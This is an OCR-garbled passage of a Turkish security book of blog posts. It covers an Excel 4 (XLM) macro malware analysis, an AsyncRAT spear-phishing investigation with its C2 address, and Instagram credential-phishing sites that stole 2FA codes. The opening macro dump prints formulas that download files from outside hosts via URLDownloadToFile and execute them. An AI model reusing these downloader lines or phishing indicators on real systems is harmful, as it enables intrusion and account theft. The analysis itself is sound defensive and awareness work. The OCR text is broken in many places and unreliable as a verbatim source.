(CELL:AU33595 FullEvaluation -

55>
CELL:AU335%6 » FullEvaluation
GOTO(BI44845>

FORMULAC™ 'C:vWindowsssystend2sprundl132

(CELL:BI 44845 - FullEvaluation
-exe'"" ACI4755 >
CELL:BI44846 » FullEvaluation
RUNCSheet2tBG2AS25)>

FORMULA{"=R[-28788 1C[-1881&"",D11Reyiste

CELL:BG2@825 » FullEvaluation

er DE25519>
CELL:BG28826 » FullEvaluation -

(CELL:=U19181 » PFullEvaluation -

GOTOCU19181>
hell32® 'ShellExecut
2>

FORMULA (" =CALL('""'S
""ngCCJJ"".E.""open"",R[—?ZZ?]C[—?B],R[—16463]C[lm].E.S)"

» FullEvaluation
RUN(Eheet2tAG5B74>
CELL:AG5874 - FullEvaluation
CALLC"urlmon", "URLDown loadToFilef", "JJCC)
QR - 'https:/sdehabadi.ir/wp—keys.php Users~Public~1A2282F.htnl'""
-8.8>
CELL:AGS875 » FullEvaluation -

(CELL :FU3?7758 » PartialBvaluation -

(CELL = FW37751 FullEvaluation
ICELL:-EG3?179 FullBranching

[341>>
CELL:EQ39179 FullEvaluation

CELL:EQ37188 FullEvaluation
(CELL:GR1784 FullEvaluation

GOTOCFW3?758>
FILESC("=""C:x\Users Public~1A2282P html""|

RUNCSheet2?'EQ39179>
IF{ISERROR(RI-142%1CI[321>. .RUNCRL28276 1C)

[TRUE]
RUNC(Sheet2?GR1784>
"https :/“eleventalents.com/up—ke

ys .php"
[CELL :GR1785 FullEvaluation
GOTO<DD14472>

CALL "URLDownloadToFile
%"f"J{F '@, "https:-releventalents.comsup—keys .php'. “UserssPublicn\1A2282
-htm LR
(CELL:=DD14473 » PFullEvaluation -

CELL:BE2?866 ~ FullEvaluation -

CELL:DD14472 FullEvaluation

RUN(Sheet2*BE29066>

"The workbook cannot be opened o
r repaired by Microsoft Excel because it’s corrupt."
[CELL:BE2?06 - FullEvaluation -
—— More —
—

Not: XLM makro analizine dair daha fazla kaynak arayanlara su

yazilara da (#1, #2, #3, #4, #5) goz atmalarini tavsiye edebilirim.


https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
https://clickallthethings.wordpress.com/2020/05/13/zloader-and-xlm-4-0-making-evasion-great-again/
https://code.firstlook.media/reverse-engineering-obfuscated-excel-4-macro-malware




Kacabilirsin ama

Saklanamazsin

Evvel zaman icinde, kalbur saman i¢inde; pireler berber, develer
tellal iken bir tehdit aktorii varmis. Bu tehdit aktorii hedef aldig:
kurumlardaki tst diizey calisanlara ekinde bir HTML dosyast
bulunan bir e-posta gondermis. Bu HTML dosyasi acilir ve
icindeki baglant: adresi (https://go0gle-drive[.]blogspot[.]com)
takip edilirse, hedef alinan kisi mega.nz isimli dosya saklama ve
paylasim sitesindeki bir adrese (https://megal.]nz/file/
axlmBSxR) yonlendiriliyormus. Bu dosya indirilip ¢alistirilirsa,
tehdit aktort tarafindan hedef sistem uzaktan yonetilerek ses,
goruntl, tus kaydi da dahil olmak tizere her turli kotiluk
yapilabiliyormus. Rivayete gore de ag tabanli kum havuzu
sistemlerinden bazilari, tehdit aktorii tarafindan gonderilen bu

HTML dosyasinda yer alan baglant: adresini analiz edemiyormus.

There s something wrong in the receipt please check! - Message (Plain Text)

ething wrong in the receipt please check!
G Hotel Reciepthtml
648 bytes

Check Attachment.
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http://mega's/
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X QR S e [7 e > WP B |
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Move Tags 5 Editing Zoom
Hotel Capitala <hotelcapi
There is something wrong in the receipt please check!

c. Hotel Reciept htm!
Importance [Normal - e

Check Attachment. Sensitvty [ Normal A

Propertes i

0000

e=spf_only,
Pl indudeispfwebhuset.no -

5 HotlFeciet i 3

Fa=preTy

2 Bwoay>

4 Blescyles

s m¢

6 font-family: Arial, Helvetica, sans-serif;

7 fr<sseres

9 El<cencer>

13 172,10 blogspot L 14151 .ipq" alo="hotel">

14

15 Bl nn s blogspot .con/"><n1.

16

1 f</cencers

18 L</poay

</nema>
©u —————
e e e — * B e
©  vechtrsusnes @ o] =
Hotel Capitaacnc
What is MEGA

Bir kurum yukardaki gibi bir senaryo ile karsilastiginda, saldir1
girisimi bagartya ulagmasa da konuyu biiyik bir dikkatle ele
almalidir ¢iinkdi bu 6ncii bir sarsint1 olup ardindan gelecek biiyitk
depremin isaretcisi olabilir dolayisiyla bu girisimin hedefli (Spear


https://en.wikipedia.org/wiki/Phishing#Spear_phishing
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Phishing), organize mi (APT) yoksa ¢ok sayida kullaniciya
gerceklestirilen genel bir kampanyanin parcasi mi1 sorularina da
arka planda yanit aramasi gerekir. Tabii bu sorularin yanitlarin
bulmasi kimi zaman miimkin olmasa da yapilan analizler
sayesinde bir fikir elde edilebilir. Ben de bu yazi ile bu sorulara
yanit aramaya koyuldum.

[lk olarak statik analiz ile dosyanin C# ile gelistirilip,
paketlenmis oldugunu gérdiim. Dosyay1 sanal bir sistem iizerinde
calistirp dinamik olarak analiz ettigimde zararli yazilimin
Pastebin sitesindeki bir adrese eristigini 6grendim. Bu web
adresini ziyaret ettigimde sayfada bir ip adresi (193.161.193.99) ve
baglant1 numarasiin (port) yer aldigini gérdiim.

| RDG Packer Detector v0.7.6 Vx Edition 2017 -)%)

CAUsers\Ment\DesktopsHOTELC™1 EXE x32

i Microsoft Visual C# / Basic .NET Compiler =
netcrypt (SimplePacker) Detected E
.NET Obfuscated (Heuristic) Possible
Contact: il

‘ File zcanned in 02 Seq. CF
—


https://en.wikipedia.org/wiki/Phishing#Spear_phishing
https://pastebin.com/
https://pastebin.com/raw/K5uaKYxp
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' http 5:"..';[3 s com/an/iGust X

“— c 8 pastebin.com/raw/K5uakYxp

193.161.193.99:20614

Ozellikle APT saldirilarinda kullanilan zararl yazilimlar
tehdit aktorleri tarafindan 6zel olarak gelistirildigi ve
saldiridan hemen o6nce derlendigi igin VirusTotal‘a
yiklendiginde cogunlukla genel bir imza adi altinda
(Backdoor, Trojan vb) tespit edilmektedir. Bu gibi
durumlarda Intezer gibi servislerden faydalanarak
zararll yazilimm kodunun bagka hangi zararh
yazilimlarda  kullanildigim1 = arayarak  eglestirme
yapmaniz ve tehdit aktorii konusunda bilgi edinmeniz

s0z konusu olabilir.

Bu zararli yazilimi VirusTotal’a yiikledigim spesifik olarak bir

zararli yazilimla eslestirilmedigini gérdiim. Bunun iizerine Intezer


https://www.virustotal.com/
http://analyze.intezer.com/
https://www.virustotal.com/gui/file/e9553311bb795d028a0bfb1cc16a74aaaddc493d303dd98ca4b801e9414f4507/detection
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iizerinde arama yaptigimda da maalesef yine elim bos kaldi.
(Generic Malware)

Pastebin.com sayfasindan elde ettigim ip adresini VirusTotal’da
arattigimda bu ip adresinin baglanti noktas: yoénlendirmek

amaciyla hizmet veren Portmap.io servisine ait oldugunu

6grendim.
1)

a

® @ [0

DETECTION  DETALS  RELATONS  COMMUNITY

e from Internet without real IP address,

® Q@ (-

- seNN

Free port forwarding solution

B

@ ]

Web and mobile System administration Remote support Video surveillance
development



https://portmap.io/
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Kendisini gizlemek i¢in elinden geleni yapan tehdit aktoriiniin
gelistirmis oldugu zararli yazilimin ne oldugunu 6grenmek igin
aragtirmaya devam ettigimde sira dinamik kod analizine geldi ve
imdadima OPSEC bashkli yazimda kullandigim dnSpy hata
ayiklayicisi yetisti. dnSpy araci ile hata ayiklamaya baslamadan
once paketlenmis yazilimin bellekte gizledigi ana modilini
bulmak icin ExtremeDumper aracimi calistirdifimda ortaya

kotiiliiklerin anasi Stub.exe ¢ikmis oldu.


https://www.mertsarica.com/opsec/
https://github.com/0xd4d/dnSpy
https://github.com/wwh1004/ExtremeDumper
https://www.virustotal.com/gui/file/41e9ac5ff9fff733115aeb5d285a850356e4cfac33b623daefeaf8c42b2bb027/detection

Stub.exe programimi adim adim dnSpy ile analiz ettigim bir
noktada AES ile sifrelenmis olup ¢oziilen 0.5.6B degeri dikkatimi
cekti. Bu degeri Google’da “rat 0.5.6B” anahtar kelimeleri ile
arattigimda bilin bakalim karsima ne ¢ikt1 ? Acgik kaynak kodlu
AsyncRAT! ?



https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp
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AES
sifreleme

anahtan

GitHub tzerinde bu projeyi detayli bir sekilde inceledigimde
analiz ettigim zararli yazilimin AsyncRAT oldugunu benzer kod
bloklarindan yola ¢ikarak dogrulayabildim.



Son asamada Stub.exe dosyasmnin benzerlerini vhash ile
VirusTotal tizerinde arattigimda ¢ok sayida 6rnek ile karsilagtim.
Tim bu oOrnekler, analiz ettigim zararli yazilimdaki Pastebin
adresine mi sahip, ortak bir kampanyanin parcasi m1 diye merak
icinde diistiniirken ya 50’den fazla her bir 6rnegin analiz raporunu
inceleyip bunu kontrol edecektim ya da tembellere yakisir ¢cok kisa
ve pratik bir yol bulacaktim. ? Hindi gibi diisiinmeye basladiktan
sonra aklima Python ile tim bu ornekleri statik olarak analiz
ederek once AES sifreleme anahtarini bulan ve ardindan da

konfigiirasyon bilgilerini ¢ikaran bir ara¢ hazirlama fikri geldi.
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o

o
3 -

® - @ G 6

Tabii degisken isimleri her bir programda rastgele olusturuldugu
icin oncelikle AES anahtari statik bir degiskenden faydalanarak
bulmam gerekiyordu. .Net ile gelistirilen programlarin
derlendiginde baytkoda (CIL/MSIL) ¢evrildigini bildigimiz igin
baytkod tizerinde statik degerler aramaya koyuldum.

Source code Bytecode Native code
C# compiler
C#
| VB.NET compiler CLR
VB.NET | MSIL code T} Native code
| Compiler
Other .NeT Other compiler
language b
| | |
Compile time Runtime

Bunun i¢in meshur Mono projesinde yer alan Mono Disassembler
(monodis) aracindan faydalanmaya karar verdim. Monodis araci
ile tium Stub.exe orneklerini koda cevirdikten sonra AES sifreleme
anahtarinin her daim 0x288c degerinden sonra gelen IL_003c


https://en.wikipedia.org/wiki/Common_Intermediate_Language
https://www.mono-project.com/
https://www.mono-project.com/docs/tools+libraries/tools/monodis/
https://www.mono-project.com/docs/tools+libraries/tools/monodis/
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degerinde oldugunu tespit ettim. ve bu bilgilerden faydalanarak
Python ile AsyncRAT Configuration Extractor aracini gelistirdim.
Aract1 tim Ornekler tzerinde c¢alistirdifimda her birinin
konfigiirasyonunda yer alan bilgilerin, analiz ettigim zararl
yazilimdan farkli oldugunu dolayisiyla analiz ettigim zararl

yazilim ortak bir kampanyanin parcasi olmadigini 6grenmis

oldum.



https://github.com/mertsarica/hack4career/blob/master/codes/asyncrat_ext.py
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E¥ Command Prompt

null
null

nu1l
null

Sonug itibariyle tim bu bilgileri derleyip topladiktan sonra bu
siber saldir1 girisiminin bir APT saldiris1 olmasa da hedeflenmis
bir saldirinin (Spear Phishing) parcasi olmasi terazide agir basmig
oldu. Ozellikle Covid-19 salginindan sonra artan bu tiir

hedeflenmis siber saldir1 girisimlerine karsi kurumlarin ve
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calisanlarmin c¢ok dikkatli olmasini Onerir bir sonraki yazida
goriismek dilegiyle herkese giivenli giinler dilerim.



Instagram

Dolandiricilari

Daha o6nce Sponsorlu Dolandiricilik, LinkedIn Dolandiricilari,
Profilime Kim Bakt1 ? baslikli blog yazilarimi okuyanlariniz, sosyal
medya mecralarinin dolandiricilar tarafindan etkin bir sekilde
kullanildiklarint 6grenmisti. Bu yazilar1 yazdiktan sonra zaman
icinde beni en ¢ok sasirtan ise aradan neredeyse 2 yil ge¢mesine
ragmen Ozellikle LinkedIn Dolandiricilar1 baslikli blog yazima
gelen yorumlardan dolandiricilarin faaliyetlerine hala hiz
kesmeden devam ettigini 6grenmem oldu.

Bu konu o6zelinde ii¢ yazi yazdiktan sonra kendimi nadasa
birakmaya karar vermisken 2021 yilinin Eylil ayinda LinkedIn
tizerinden Volkan DEMIRPENCE'den aldigim asagidaki mesaj
karsisinda kayitsiz kalmamaya karar vererek ese, dosta haber salip
Instagram iizerinden aldiklar1 slipheli mesajlar1  benimle

paylagmalarini rica ettim.
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https://www.mertsarica.com/sponsorlu-dolandiricilik/
https://www.mertsarica.com/linkedin-dolandiricilari/
https://www.mertsarica.com/profilime-kim-bakti/
https://www.mertsarica.com/linkedin-dolandiricilari/#comments
https://www.linkedin.com/
https://www.linkedin.com/in/volkandemirpence/
https://www.instagram.com/
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+ Volkan Demirpenge - 11:34
Mert Merhaba

Cevremde arkadaslarin Instagram
hesaplari ¢aliniyor . Cok sik olmaya
basladi.

Bu konuda senin bir yazin var miydi?

Nasil bu kadar kolay aliyorlar merak
ettim. Cift faktor dogrulama acgin diye
uyariyorum da gevremi.

Gel zaman, git zaman, elime ulasan oltalama mesajlarini inceleyip,
Instagram hesaplarini nasil hacklediklerini 6grendikten sonra
Volkan gibi arkadaslar i¢in bu konuyu farkindalik yaratma adina
kaleme almaya karar verdim.

Oltalamala mesajlarindan  birinde dolandirici, Facebook
izerinden Messenger ile Telif Haklar1 isimli hesap iizerinden
Instagram kullanicisina mesaj atarak telif hakk: ihlali yapildigini
belirterek kullanicinin  hesabii dogrulamasi igin paylagimh
116[.]202[.]53[.]12 ip adresine sahip userhelpconfirm][.]site-
tr[.]site web adresini ziyaret etmesini ve bir form doldurmasini

talep ediyordu.


https://tr.wikipedia.org/wiki/Yemleme
https://www.facebook.com/
https://play.google.com/store/apps/details?id=com.facebook.orca&hl=en&gl=US
https://www.facebook.com/profile.php?id=100072481115024

e

lif H
) Telif Haklan %

I . Lot i
Suaun aKtin

Telif Haklan
Facebook

Profili Gor

Din 22:24

Iinstagram telif hak ihlali !

Givenliginiz bizim
sorumlulugumuz.

Hesap incelendi ve telif ihlali
gerceklestirdigi anlasildi.

Hesabinmzi dogrulamadiginiz
taktirde 24 saat icinde hesabiniz
tarafimizca askiya alinacaktir.
Ortakh@imizi devam ettire
bilmemiz igin hesabin kullanicisi
oldugunuzu dogrulamamiz
gerekmektedir.

Hesabiniz bu sartlar yerine
getirildikten sonra , bir dogrulama
kodu gonderilerek glvenli hale

O»

53



54 Hack 4 Career - 2021

« Q Ara

Telif Haklari

& Arkadasi Ekle © Mesaj

+ Telif'in Hakkinda Bilgilerini Gor

Arkadaslar

Gonderiler

|&d Fotograflar
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Web sayfasina Instagram kullanici adi girildigi anda inandiriciligi
arttirmak icin parola istenen sayfada dumpor.com web sitesi
iizerinden kullanicinin profil resmi de arka planda indirilip,

gosteriliyordu.

@ Text A Hac

Instagram
Avtk 0m diftal magazalarda.

Telif Haklan | Girig Formu

@DV A>dQ

2021 INSTAGRAM, INC

FACEBOOK

x|+ o - o x

helpconfirm.ite-trsite/login php7username W% &

Merhaba @

@ S Olarak
llerleyin

e®vaaQ

FACEBOOK

Sayet hesap iki faktorli kimlik dogrulamasi ile korunuyorsa
(kullanmaniz1 siddetle tavsiye ediyorum), oltalama sayfasi dogru
parola girildikten hemen sonra kullanicidan dogrulama kodunu
(sms veya giris kodu) ve yetmezmis gibi bir de iizerine e-posta

adresini ve parolasini girmesini istiyordu.


https://dumpor.com/
https://tr-tr.facebook.com/help/instagram/566810106808145?helpref=related
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Dogruama kodu | Giverlk X |

« C @ userhelpconfirmsite-trsite/security php?u

Instagram

Atk tom diftal magazalarda.

Dogrulama kodu | Giivenlik

(2 fakterlu kimiik dogrulama kodu
Hesapta faktor yok

FACEBOOK

« C @ userhelpconfirmite-trsite/security. php?username apa o~ W% &

O,

Dogrulama kodu | Giivenlik

Instagram

Artik tom dijtal mag

2 faktora kimik dogruama kodu )

FACEBOOK

Verified Badges | Help Center X |

€ C @ userhelpconfirmsite-trite/mailform php?userames=: &pass= i8codes=, B &

Instagram

Atk tom diftal magazalarda.

Dogrulama igin Son Adim | Form

(Eposta

(Epost

(cep

( MediaHaber Dl

FACEBOOK

Tum bilgiler girildikten sonra ise dolandiricilar Instagram hesabini
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ele gecirmek ve kotii emellerini gerceklestirmek icin tiim bilgileri
elde etmis oluyordu. Bundan sonra yapabilecekleri artik hayal
gicimiliz ile smirli olsa da tam olarak niyetlerini anlamak ve
dolandiricilar tarafindan kullanilan sistemin IP adresleri elde
etmek icin sahte bir Instagram hesabi olusturup bilgilerimi bu
sayfaya girip hesabimi hacklemelerini beklemeye bagladim ancak
buytk ihtimalle takip¢i sayimmin az olmasi sebebiyle ilgilerini
cekmeyi basaramadigim icin hesabima giris yapmalarim

saglayamadim.

+ e 5 o x

Dogrulama basariyla | Génderildi

© @ 5B Q

2021 INSTAGRAM, INC.

Bir yandan bazi okurlarimin “E peki Mert, bu oltalama mesajlarina
kim inanir ki ?” dedigini duyar gibiyim. Ben de ayn1 sekilde bu
soruyu kendi kendime sorup yanitini bulmak igin oltalama
mesajlarini bir siire daha incelemeye devam ettim.

Bir diger oltalama saldirisinda ise bu defa oltalama sitesinin
giivenlik kontrollerine yakalanmamasi icin ¢ok daha temkinli
olan, ikna adina tath dil kullanmaktan ¢ekinmeyen ve bir o kadar
da seytani emellerini gerceklestirmek igin “Kadina Siddete Hayir”
gibi toplumun olduk¢a hassas oldugu bir konuyu senaryosunda
kullanmaktan imtina etmeyen soguk kanli bir dolandirict ile
karsilagtim.

21 Ekim tarihinde sahte isim, soyad ve profil fotografi ile


https://tr.wikipedia.org/wiki/IP_adresi
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gamzedemirel.avk hesabinin arkasina gizlenip hedef kullanici ile
iletisime gecen avukat kiligina girmis olan dolandirici, kadinlara
ve ¢ocuklara uygulanan siddete karsi sonsuz bir miicadele icinde
oldugunu ve 2 dakika goriismek istedigini belirtmekteydi.


https://www.instagram.com/gamzedemirel.avk/

& 6 gamzedemirel.avk [:h 13 @

UK FAKULY,

Gamze Demirel
gamzedemirel.avk - Instagram
4,5 B takipci - 52 gonderi
Seni takip ediyor

Profili Gor

21 Eki11:24

1 merhaba iyi glinler
rahatsizlik vermiyorum umarim

21 Eki16:17

Tiirkiyede son donemlerde
kadinlarin ve gocuklarin

hedef oldugu siddet olaylarini
haberlerde izliyorsunuzdur
mutlaka, bu durumlara farkindalik

59
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Search nV e o

gamzedemirel.avk  Requested

52 posts 4,556 followers 1,523 following

Gamze Demirel

ANKARA BAROSU
gamzedemirel34@gmail.com
~-KADINA $iDDETE HAYIR!

This Account is Private

Follow to see their photos and

videos.

Aradan 6 giin gectikten sonra hedef kullanicidan yamt almadigim
farkeden dolandirici, 26 Ekim tarihinde tekrar iletisime gecip
destek verenler arasinda hedef kullanicinin adini géremedigini ve
destek icin Cloudflare arkasina gizlenen kadinlaradestek[.]com/
home.php web sitesi iizerinden destek istedigini paylagmaktaydi.


https://www.cloudflare.com/

£ @ gamzedemirel.avk CI] [3

= I T 7 3T

@ tesekkur edenm 4

https://www.kadinlaradestek.com
/home.php

KADINA
SiDDETE
HAYIR!

Kadin Siddetine Hayir

Merhaba iyi ginler efendim
listede adinizi géremedim

destek olmamigsiniz da, umarim
bu duruma duyarsiz kalmayip
desteginizi gerceklestirirsiniz.
Kampanyamizin suresinin
dolmasina ¢ok az bir sire kaldi¢

|
@ -
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()3 @ kadinlaradestek.com/ho

KADINA SIDDETE
DUR!

Kadina siddet insanhk sucudur!
Kadina yonelik her turlt siddetin
karsisinda, siddet magduru kadinlarimizin
da her zaman yanindayiz. Destek olarak
bizlere katil!
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Web sitesini ziyaret ettigimde, dolandiricinin uzun bir siire
operasyonuna devam edebilmek icin cesitli teknik tedbirler
aldigini farkettim. Ilk olarak https://kadinlaradestek[.]com
adresine direkt gitmeye calistigimda web sitesi 404 (sayfa
bulunamadi) hata dongiisine girerek acilmamaktaydi. Siteye
ulagabilmek icin  direkt https://kadinlaradestek[.]com/
home.php adresini ziyaret etmek gerekiyordu.

Dikkatimi ¢eken bir diger nokta ise Instagram o6zel mesajt
iizerinden siteye gittiginizde sayfanin altinda yer alan
INSTAGRAM ILE OY VER butonuna bastigmizda bilgilerinizi
https://kadinlaradestek[.]Jcom/login.php sayfas1 iizerinden
calan bir form ile karsilagiyordunuz ancak bunun aksine
https://kadinlaradestek[.]Jcom/login.php  adresine  direkt
internet tarayicisi tizerinden gitmeye calistiginizda bu defa form
yerine kullanici adi ve parola isteyen bir kutucukla karsilagiyor,
CANCEL butonuna bastiginizda ise sahte bir hata sayfasi ile
karsgilasiyordunuz. Kisaca dolandirict bu tiir oltalama sitelerinin
siber givenlik firmalar1 tarafindan tarama araclan ile tespit
edilmesini engellemek icin cesitli tedbirler aldifi net olarak
goriliyordu.

The page isn't redirecting properly


https://en.wikipedia.org/wiki/HTTP_404
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Avina odaklanmis bir aslan misali hedef aldigi kullanicinin
bilgilerini ¢alip ¢alamadigini yakindan takip eden dolandirict 28
Ekim ve 1 Kasim tarihlerinde tekrar iletisime gecmisti.



65

Per 11:07

Merhabalar, zamaniniz olmadi

é galiba

Per 12:18

Tamam efendim

Bugtn 15:09

Sizi rahatsiz ediyorum surekli
kusura bakmayin

Musaitliginiz saglanmadi galiba

@NesaJ 8O

1l @ <

Daha 6nce oldugu gibi dolandiricinin niyetini anlamak ve IP
adresini elde etmek i¢in olusturdugum sahte Instagram hesabinin


https://tr.wikipedia.org/wiki/IP_adresi
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bilgilerini bu sayfada yer alan forma belli zaman araliklarinda girip
hesabimi hacklemelerini beklemeye basladim. Bilgilerimi girer
girmez Adana ve Mersin’den hesabima giris yapildigina ve iki
faktorli kimlik dogrulamasimin kapatildigina dair Instagram’dan
uyar1 mesajlar1 aldim. Islemlerin dolandiricilar tarafindan bu kadar
hizli gerceklestirilmesi, arka planda c¢alinan bilgilerin bir betik
(script) yardimi ile otomatik bir gekilde gerceklestirildigine isaret
ediyordu.

Instagram'a yeni giris (Chrome Mobile WebView, Samsung SM-G991B) inbox x &

Instagram <security@mail.instagram.com> Unsubscribe 717PM (1 minuteago) Yy &
tome v

¥ Turkish v > English ~ Translate message Tumn off for: Turkish

©  Instagnam

Yeni Bir Giris Yapildigini Fark Ettik,

Samsung SM-G991B - fome Mobile
WebView - Adana, Turkey

rahatiiglyla g6z ardi edebilirsiniz. Bunu siz



67

Instagram

$iipheli Girig Denemesi

Olagandisi Bir Giris
Denemesi Saptadik

Android | 27.10.2021 22:01
Mersin

Hesabini guvene almak igin bunu
yapanin sen oldugunu bize bildir.

Bunu Ben Yapmadim
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Q  Search mail = ® @

o- ¢ ¢ 1-110f 11

O Primary 2% Sochl ‘ @ Promotions
Instagram 2 ki faktorlii kimlik dogrulamast kapalt - Merhaba , Instagram hesabiniz igin iki faktorii kimlik dogrulama. 10:54PM
Instagram 3 % Instagram'a yeni giris (Chrome Mobile WebView, Samsung SM-G991B) - Yeni Bir Giris Yapildigini Fark Ettk, .. 10:53pM

Instagram 3 Your Instagram Information - Here is the file you requested with the information about your account Thi. 10:37 PM
Instagram Instagramida e-postanizi onaylayin - Merhaba | E-posta adresinizi olarak g... 1011 PM

Instagram 3 ki faktorli kimlik dogrulamast agik - Merhaba , Instagram hesabiniz igin iki faktérlii kimlik dogrula 7:59 PM

Sira giris yapan dolandiricilarin IP adreslerini bulmaya geldiginde
oncelikle Instagram mobil uygulamasinda Ayarlar -> Giivenlik
-> Verileri Indir adimlarindan Instagram hesabim ile ilgili
bilgileri talep etmem gerekiyordu. Bilgilerin hazir olduguna dair
Instagram’dan e-posta aldiktan sonra ilgili ZIP dosyasini indirdim.
ZIP dosyasini agtiktan sonra login_and_account_creation
klasoriindeki  login_activity.html dosyasmma  baktigimda
dolandiricilarin her defasinda Turkcell’e ait farkli, dinamik IP
adresinden hesabima eristigini gordiim. IP  adreslerini
inceledigimde 178.241.130.132 IP adresinin Diyarbakir IP
havuzuna, 178.241.186.175 IP adresinin ise Kayseri IP havuzuna
ait oldugunu goérdiim. IP adreslerinin dinamik olup, her defasinda
degisiyor olmasi arka planda rootlanmis bir telefon, mobil cihaz
iizerinden bu iglemlerin betik yardimi ile gergeklestirildigi
ihtimalini glindeme getiriyordu. Dolandiricilarin  Instagram
hesabina giris yaptiktan sonra parolayr degistirmemesi ise
hackledikleri hesaplara uzun sireli erismek ve emellerini
gerceklestirmek i¢in kullanmak istediklerine isaret ediyordu.


https://whois.domaintools.com/178.241.130.132
https://whois.domaintools.com/178.241.186.175

x o+

Desktop/YeniYazifinstagram%20Phi 20211027/login_and_account_creation/login_activity.htmi

arcor.inf.. I Linkedin % Mert SARICA (mer... 1 Inb

Login activity

2021-10-27T16:30:54+00:00

......................... o3t

Oct 27,2021, 8:30 AM
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKIt/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36

2021-10-27T16:24:47+00:00

......................... vou

a0 o

Oct 27,2021, 8:26 AM

13/5.0 (Linux; Android 11; SM-GO918 Build/RP1A.200720.012; wy)
AppleWebKit/537.36 (KHTML, like Gecko) Version/d.0 Chrome/95.0.4638.50
Mobile Safari/537.36

2021-10-27T16:23:59400:00

~JdY

178.241130132 «

20211027%20(1)flogin_and. creation/login_activity.htmi

Login activity

2021-10-27T19:67:25+00:00

............... -

0ct 27,2021, 11:57 AM
Mozill/5.0 (Macintosh; Itel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/95.0.4638.54 Safari[537.36
2021-10-27T19:63:46+00:00

......................... o6z

Oct 27,2021, 11:63 AM

112/5.0 (Linux; Android 11; SM-GO918 Build/RP1A.200720.012; wy)
AppleWebKit/537.36 (KHTML, like Gecko) Version/d.0 Chrome/95.0.4638.50
Mobile Safari/537.36

2021-10-27T19:40:11+00:00

............... Py

Son olarak sira bu dolandiricilarin oltasina diisen masum
kullanicilar1 ~ tespit etmeye geldiginde, ofansif giivenlik
uzmanlarinin da yakindan bildigi ffuf araci ile web sitesindeki
PHP dosyalarini kesfetmek icin ise koyuldum. Cok ge¢cmeden ffuf
arac1 web sitesi lizerinde vip.php isimli bir dosya oldugunu tespit
etti. Bu dosyanin bulundugu https://kadinlaradestek[.]com/
vip.php web adresini ziyaret ettigimde ise 26 Ekim tarihinden bu
yana dolandiricilar tarafindan hacklenen hesaplarin bir listesine
ulagsmay1 basardim. Listeyi inceledigimde 26 Ekim - 25 Kasim


https://github.com/ffuf/ffuf
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tarihleri arasinda dolandiricilarin, aglarina 6zel olarak hedef aldig1
70‘den fazla Instagram kullanicisini bagariyla dustrdiagi
anlagiliyordu. Hedef alinan Instagram hesaplarimin takipgi
sayllarini inceledigimde ise yaklasitk 200.000 Instagram
kullanicisinin  hacklenen bu hesaplar iizerinden bir ortalama
saldirisina veya dolandiriciliga maruz kalma riski de ortaya

cikiyordu.

B maOs [T e oo o

File Actions Edit View Help

1 Inbo
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Show Hacked Instragram Accounts vi [https://www.mertsarica.com]

Unfortunately 73 Instagram accounts have been hacked!

Date: 25.11. 12:38 Username:
Date: 23.11. Username:
Date: 22.
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Date: 16.
Date: 16.
Date: 16.
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Show Total Number of Instragram Followers v1.@ [https://www.mertsarica.com]

has 15 followers
has 1 followers
has 10658 followers
has 373 followers
has 698 followers
has 345 followers
has 894 followers
has 186 followers
has 3326 followers
has 5035 followers
has 1641 followers
has 1 followers
- has 2072 followers
has 200 followers
has 734 followers
has 8805 followers
has 7146 followers
has 111 followers
has 1344 followers
has 907 followers
has 301 followers
has 1821 followers
has 907 followers
has 16 followers
has 7536 followers
has 508 followers
has 19532 followers
. has 33 followers
has 15677 followers
has 452 followers
has @ followers
has 12 followers
has 29433 followers
has 9308 followers
has 75 followers
has 5436 followers
has 21896 followers
has 45 followers
has 11557 followers
has 12794 followers
has 16 followers
has 9314 followers
has @ followers
has 2499 followers

*xx*x Unfortunately more than 193580 Instagram accounts are in danger! ssx

Sonug itibariyle diger yazilarimda da oldugu tizere tiim okurlarima
bilmedikleri kaynaklardan gelen (e-posta, SMS, 6zel mesaj vb.)
baglanti adreslerine (link) tiklamalarini, parolalarini, iki faktorlii
dogrulama kodlarini bilmedikleri sitelere, formlara girmemelerini,

mimkiin olan tiim hesaplarinda iki faktorlii kimlik dogrulamasini
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kullanmalarini, Instagram hesaplarinin givenligini saglamak
amaciyla bu sayfada yer alan yonergeleri takip etmelerini,
Instagram hesaplarinin hacklenmesi durumunda ise geri almak
icin Instagram’in destek sayfasini ziyaret etmelerini ve son olarak

da farkindalik adina bu vaziy1 sosyal ag/medya kullanan

tanudiklan ile paylasmalarini 6neriyorum.

Yilin son yazisi olmasi vesilesiyle simdiden tiim okurlarimin
yeni yilini canigoniilden kutlar, 2022 yilinin herkese 6nce saglik
sonra mutluluk ve bol kazang getirmesini dilerim.


https://about.instagram.com/blog/announcements/keeping-instagram-safe-and-secure
https://help.instagram.com/149494825257596
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